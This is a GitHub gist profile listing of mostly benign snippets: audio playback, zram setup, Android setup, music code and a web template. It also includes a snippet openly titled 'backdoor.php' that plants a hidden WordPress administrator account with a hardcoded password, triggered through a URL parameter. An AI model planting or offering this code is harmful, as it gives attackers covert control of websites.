Skip to content

Instantly share code, notes, and snippets.

View Rotron's full-sized avatar

Federico Saccà Rotron

View GitHub Profile
play -t raw -e signed -c 1 -b 32 -r 44100 test
@Rotron
Rotron / backdoor.php
Created January 31, 2019 11:17 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@Rotron
Rotron / zram_install_instructions.txt
Created January 16, 2019 11:34 — forked from SeanChristopherConway/zram_install_instructions.txt
Install zram on a linux box(tested on raspberry pi jessie, stretch and also on ubuntu 16)
sudo wget -O /usr/bin/zram.sh https://raw.githubusercontent.com/novaspirit/rpi_zram/master/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo nano /lib/systemd/system/zram.service
---- copy below to the file you just nano'd
[Unit]
Description=Enables zram
After=multi-user.target
@Rotron
Rotron / android_instructions_23.md
Created October 26, 2018 12:49 — forked from agrcrobles/android_instructions_29.md
Setup Android development environment on a Mac

Here is a high level overview for what you need to do to get most of an Android environment setup and maintained.

Prerequisites (for Homebrew at a minimum, lots of other tools need these too):

  • XCode is installed (via the App Store)
  • XCode command line tools are installed (xcode-select --install will prompt up a dialog)
  • Java

Install Homebrew:

@Rotron
Rotron / playwav.c
Created May 3, 2018 10:08 — forked from armornick/playwav.c
Play a sound with SDL2 (no SDL_Mixer)
#include <SDL2/SDL.h>
#define MUS_PATH "Roland-GR-1-Trumpet-C5.wav"
// prototype for our audio callback
// see the implementation for more information
void my_audio_callback(void *userdata, Uint8 *stream, int len);
// variable declarations
static Uint8 *audio_pos; // global pointer to the audio buffer to be played
@Rotron
Rotron / awesome-php.md
Created December 19, 2017 15:01 — forked from mardix/awesome-php.md
Awesome PHP Libraries
use_bpm 130
samps = "path_to_breaks" ## download from http://www.junglebreaks.co.uk/breaks.html
ch1 = [61,68,78]
ch2 = [61,68,76]
ch3 = [64,71,76]
ch4 = [59,66,75]
ch5 = [59,66,76]
ch6 = [57,64,76]
use_debug false
use_bpm 130
# Our mixer!
master = (ramp *range(0, 1, 0.01))
kick_volume = 1
bass_volume = 1
revbass_volume = 1
snare_volume = 0.5
hats_volume = 0.5
@Rotron
Rotron / angular-bootstrap.html
Created July 6, 2017 09:16
AngularJS & Bootstrap page template
<!doctype html>
<html lang="en" ng-app>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Document</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Bootstrap -->